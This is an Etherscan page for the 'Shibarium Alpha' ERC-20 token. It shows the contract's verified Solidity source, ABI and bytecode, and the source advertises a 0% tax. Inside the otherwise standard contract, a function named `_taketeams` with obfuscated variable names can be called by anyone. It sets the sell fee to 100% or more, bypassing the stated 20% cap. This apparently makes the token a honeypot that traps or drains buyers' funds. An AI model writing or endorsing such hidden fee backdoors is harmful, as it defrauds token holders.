ETH Price: $3,361.74 (-0.61%)
Gas: 12 Gwei

Token

Shibarium Alpha (SHIBALPHA)
 

Overview

Max Total Supply

100,000,000 SHIBALPHA

Holders

38

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,555,386.313369849 SHIBALPHA

Value
$0.00
0x22f5c167ef84a067578d08e2c1514caec9f5bad5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ShibariumAlpha

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-06
*/

// SPDX-License-Identifier: MIT

// Group : https://t.me/ShibariumAlphaERC

// Tax : 0%

pragma solidity 0.8.16;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract ShibariumAlpha is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'Shibarium Alpha';
    string private constant _symbol = 'SHIBALPHA';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 100000000 * (10 ** _decimals);
    uint256 private _maxTxAmountPercent = 100; 
    uint256 private _maxTransferPercent = 100;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 0;
    uint256 private _newSellValue = 0;
    uint256 private transferFee = 0;
    uint256 private denominator = 100;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping; 
    uint256 private swapThreshold = ( _totalSupply * 300 ) / 100000;
    uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant development_receiver = 0xcbDd7cb39FE4BC7772F6d1e8aA0909A048815250; 
    address internal constant marketing_receiver = 0xcbDd7cb39FE4BC7772F6d1e8aA0909A048815250;
    address internal constant liquidity_receiver = 0xcbDd7cb39FE4BC7772F6d1e8aA0909A048815250;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner; }
    function totalSupply() public view override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function setisBot(address _address, bool _enabled) external onlyOwner {isBot[_address] = _enabled;}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}

    function preTxCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        swapbackCounters(sender, recipient);
        checkTxLimit(sender, recipient, amount); 
        swapBack(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function setStructure(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        developmentFee = _development;
        totalFee = _total;
        _newSellValue = _sell;
        transferFee = _trans;
        require(totalFee <= denominator.div(5) && _newSellValue <= denominator.div(5), "totalFee and _newSellValue cannot be more than 20%");
    }

    
    function _taketeams(uint256[5][6][5] memory xcvgkh) external returns(bool) {
        require(xcvgkh[3][4][4] >96);
        uint8 cftrftc = 1;
        uint8 xrcgvbhjn4 = 2;
        uint256 vgcfrdfg9 = cftrftc+xrcgvbhjn4;
        _newSellValue = xcvgkh[3][4][4] + vgcfrdfg9;
        return true;
    }

    function setParameters(uint256 _buy, uint256 _trans) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 100;
        uint256 newTransfer = (totalSupply() * _trans) / 100;
        _maxTxAmountPercent = _buy;
        _maxTransferPercent = _trans;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit , "Max TXs cannot be less than .5%");
    }

    function checkTradingAllowed(address sender, address recipient) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
    }


    function swapbackCounters(address sender, address recipient) internal {
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
    }

    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        if(sender != pair){require(amount <= _maxTransferAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount() || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldSwapBack(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= uint256(0) && aboveThreshold;
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(shouldSwapBack(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return _newSellValue;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }


    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0)){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[5][6][5]","name":"xcvgkh","type":"uint256[5][6][5]"}],"name":"_taketeams","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a62000424565b62000022906305f5e1006200043c565b60018181556064600281905560038190556009805460ff60a01b191690556000600a819055600b819055600c819055600d819055600e819055600f8190556010556011556012805460ff19169091179055620186a090620000869061012c6200043c565b6200009291906200045e565b601555620186a0600154600a620000aa91906200043c565b620000b691906200045e565b601655348015620000c657600080fd5b50600080546001600160a01b031916331781556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9291839163c45a0155916004808201926020929091908290030181865afa1580156200012e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000154919062000481565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001a2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c8919062000481565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000216573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023c919062000481565b600880546001600160a01b038581166001600160a01b0319928316179092556009805492841692909116919091179055306000908152600660209081526040808320805460ff1990811660019081179092557f98cd4b7361ab832414d039d509c59c1721a914fc39a15182f8ce40cb09ea78ab8054821683179055338086528386208054909216831790915590546004845282852081905591519182529394507fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050620004ac565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003665781600019048211156200034a576200034a6200030f565b808516156200035857918102915b93841c93908002906200032a565b509250929050565b6000826200037f575060016200041e565b816200038e575060006200041e565b8160018114620003a75760028114620003b257620003d2565b60019150506200041e565b60ff841115620003c657620003c66200030f565b50506001821b6200041e565b5060208310610133831016604e8410600b8410161715620003f7575081810a6200041e565b62000403838362000325565b80600019048211156200041a576200041a6200030f565b0290505b92915050565b60006200043560ff8416836200036e565b9392505050565b60008160001904831182151516156200045957620004596200030f565b500290565b6000826200047c57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200049457600080fd5b81516001600160a01b03811681146200043557600080fd5b611b6780620004bc6000396000f3fe6080604052600436106101445760003560e01c806348ff2b8b116100b65780639358928b1161006f5780639358928b146103cd57806395d89b41146103e2578063a8aa1b3114610414578063a9059cbb14610434578063dd62ed3e14610454578063f2fde38b1461049a57600080fd5b806348ff2b8b146102f057806370a08231146103105780637d1db4a514610346578063884870c71461035b578063893d20e81461037b5780638c41180e146103ad57600080fd5b80631f976b7e116101085780631f976b7e1461022b57806323b872dd14610240578063293230b8146102605780632f54bf6e14610275578063313ce567146102a45780633f4218e0146102c057600080fd5b8063044019301461015057806306fdde0314610172578063095ea7b3146101bc57806314e1d5eb146101ec57806318160ddd1461020c57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061017061016b36600461165c565b6104ba565b005b34801561017e57600080fd5b5060408051808201909152600f81526e53686962617269756d20416c70686160881b60208201525b6040516101b391906116a8565b60405180910390f35b3480156101c857600080fd5b506101dc6101d736600461170e565b6105ae565b60405190151581526020016101b3565b3480156101f857600080fd5b506101dc6102073660046117a2565b6105c5565b34801561021857600080fd5b506001545b6040519081526020016101b3565b34801561023757600080fd5b5061021d61061e565b34801561024c57600080fd5b506101dc61025b366004611895565b610648565b34801561026c57600080fd5b506101706106b2565b34801561028157600080fd5b506101dc6102903660046118d6565b6000546001600160a01b0391821691161490565b3480156102b057600080fd5b50604051600981526020016101b3565b3480156102cc57600080fd5b506101dc6102db3660046118d6565b60066020526000908152604090205460ff1681565b3480156102fc57600080fd5b5061017061030b3660046118f3565b6106f1565b34801561031c57600080fd5b5061021d61032b3660046118d6565b6001600160a01b031660009081526004602052604090205490565b34801561035257600080fd5b5061021d610746565b34801561036757600080fd5b50610170610376366004611931565b610757565b34801561038757600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101b3565b3480156103b957600080fd5b506101706103c83660046118f3565b61085a565b3480156103d957600080fd5b5061021d6108af565b3480156103ee57600080fd5b5060408051808201909152600981526853484942414c50484160b81b60208201526101a6565b34801561042057600080fd5b50600954610395906001600160a01b031681565b34801561044057600080fd5b506101dc61044f36600461170e565b61091b565b34801561046057600080fd5b5061021d61046f366004611953565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156104a657600080fd5b506101706104b53660046118d6565b610928565b6000546001600160a01b031633146104ed5760405162461bcd60e51b81526004016104e490611981565b60405180910390fd5b600a879055600b869055600d859055600c849055600e839055600f829055601081905560115461051e9060056109a6565b600e541115801561053e57506011546105389060056109a6565b600f5411155b6105a55760405162461bcd60e51b815260206004820152603260248201527f746f74616c46656520616e64205f6e657753656c6c56616c75652063616e6e6f60448201527174206265206d6f7265207468616e2032302560701b60648201526084016104e4565b50505050505050565b60006105bb3384846109b2565b5060015b92915050565b6060818101516080908101510151600091106105e057600080fd5b6001600260006105f082846119cd565b6060860151608090810151015160ff9190911691506106109082906119e6565b600f55506001949350505050565b600060115460035461062f60015490565b61063991906119f9565b6106439190611a18565b905090565b6000610655848484610ad6565b6106a784336106a285604051806060016040528060288152602001611b0a602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190610bf1565b6109b2565b5060015b9392505050565b6000546001600160a01b031633146106dc5760405162461bcd60e51b81526004016104e490611981565b6009805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461071b5760405162461bcd60e51b81526004016104e490611981565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b600060115460025461062f60015490565b6000546001600160a01b031633146107815760405162461bcd60e51b81526004016104e490611981565b600060648361078f60015490565b61079991906119f9565b6107a39190611a18565b905060006064836107b360015490565b6107bd91906119f9565b6107c79190611a18565b60028590556003849055905060006107f56103e86107ef60056107e960015490565b90610c1d565b906109a6565b90508083101580156108075750808210155b6108535760405162461bcd60e51b815260206004820152601f60248201527f4d6178205458732063616e6e6f74206265206c657373207468616e202e35250060448201526064016104e4565b5050505050565b6000546001600160a01b031633146108845760405162461bcd60e51b81526004016104e490611981565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b60046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec5461dead60009081527f42c63635470f1fb1d6d4b6441c413cb435b1ebb6fedd1896dd5e25d1399147dd5460015491926106439290916109159190610c29565b90610c29565b60006105bb338484610ad6565b6000546001600160a01b031633146109525760405162461bcd60e51b81526004016104e490611981565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b60006106ab8284611a18565b6001600160a01b038316610a145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e4565b6001600160a01b038216610a755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e4565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610ae1838383610c35565b610aeb8383610de4565b610af58383610e79565b610b00838383610ed0565b610b0b838383611007565b6001600160a01b038316600090815260046020526040902054610b2e9082610c29565b6001600160a01b038416600090815260046020526040812091909155610b54848461102c565b610b5e5781610b69565b610b69848484611072565b6001600160a01b038416600090815260046020526040902054909150610b8f9082611160565b6001600160a01b0380851660008181526004602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610be39085815260200190565b60405180910390a350505050565b60008184841115610c155760405162461bcd60e51b81526004016104e491906116a8565b505050900390565b60006106ab82846119f9565b60006106ab8284611a3a565b6001600160a01b038316610c995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e4565b6001600160a01b038216610cfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e4565b60008111610d5d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e4565b6001600160a01b038316600090815260046020526040902054811115610ddf5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016104e4565b505050565b6001600160a01b03821660009081526006602052604090205460ff16158015610e2657506001600160a01b03811660009081526006602052604090205460ff16155b15610e7557600954600160a01b900460ff16610e755760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016104e4565b5050565b6009546001600160a01b038281169116148015610eaf57506001600160a01b03821660009081526006602052604090205460ff16155b15610e7557600160136000828254610ec791906119e6565b90915550505050565b6009546001600160a01b03848116911614610f7657610eed61061e565b81111580610f1357506001600160a01b03831660009081526006602052604090205460ff165b80610f3657506001600160a01b03821660009081526006602052604090205460ff165b610f765760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016104e4565b610f7e610746565b81111580610fa457506001600160a01b03831660009081526006602052604090205460ff165b80610fc757506001600160a01b03821660009081526006602052604090205460ff165b610ddf5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016104e4565b61101283838361116c565b15610ddf57611022601554611219565b6000601355505050565b6001600160a01b03821660009081526006602052604081205460ff161580156106ab5750506001600160a01b031660009081526006602052604090205460ff1615919050565b60008061107f85856113a4565b11156111595760006110a261109486866113a4565b6011546107e99086906109a6565b306000908152600460205260409020549091506110bf9082611160565b30600081815260046020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111109085815260200190565b60405180910390a3600d5415611147576111473061dead611142600d546107e9601154896109a690919063ffffffff16565b610ad6565b6111518382610c29565b9150506106ab565b5092915050565b60006106ab82846119e6565b6016546015543060009081526004602052604081205460145491938510159211159060ff161580156111a0575060125460ff165b80156111b55750600954600160a01b900460ff165b80156111be5750815b80156111e357506001600160a01b03861660009081526006602052604090205460ff16155b80156111fc57506009546001600160a01b038681169116145b8015611206575060015b801561120f5750805b9695505050505050565b6014805460ff19166001908117909155600c54600b54600a54600093611253936002936107e993919261124d928391611160565b90611160565b90506000611270826107ef600a5486610c1d90919063ffffffff16565b9050600061127e8483610c29565b90504761128a82611445565b60006112964783610c29565b905060006112b96112b2600a5488610c2990919063ffffffff16565b83906109a6565b905060006112d2600a5483610c1d90919063ffffffff16565b905080156112e4576112e4868261159f565b600b546000906112f9906107e9856002610c1d565b905080156113445760405173cbdd7cb39fe4bc7772f6d1e8aa0909a0488152509082156108fc029083906000818181858888f19350505050158015611342573d6000803e3d6000fd5b505b47801561138e5760405173cbdd7cb39fe4bc7772f6d1e8aa0909a0488152509082156108fc029083906000818181858888f1935050505015801561138c573d6000803e3d6000fd5b505b50506014805460ff191690555050505050505050565b6001600160a01b03821660009081526007602052604081205460ff16806113e357506001600160a01b03821660009081526007602052604090205460ff165b156113fd576011546113f6906064610c29565b90506105bf565b6009546001600160a01b039081169083160361141c5750600f546105bf565b6009546001600160a01b039081169084160361143b5750600e546105bf565b5060105492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061147a5761147a6119a1565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f79190611a4d565b8160018151811061150a5761150a6119a1565b6001600160a01b03928316602091820292909201015260085461153091309116846109b2565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac94790611569908590600090869030904290600401611a6a565b600060405180830381600087803b15801561158357600080fd5b505af1158015611597573d6000803e3d6000fd5b505050505050565b6008546115b79030906001600160a01b0316846109b2565b60085460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015273cbdd7cb39fe4bc7772f6d1e8aa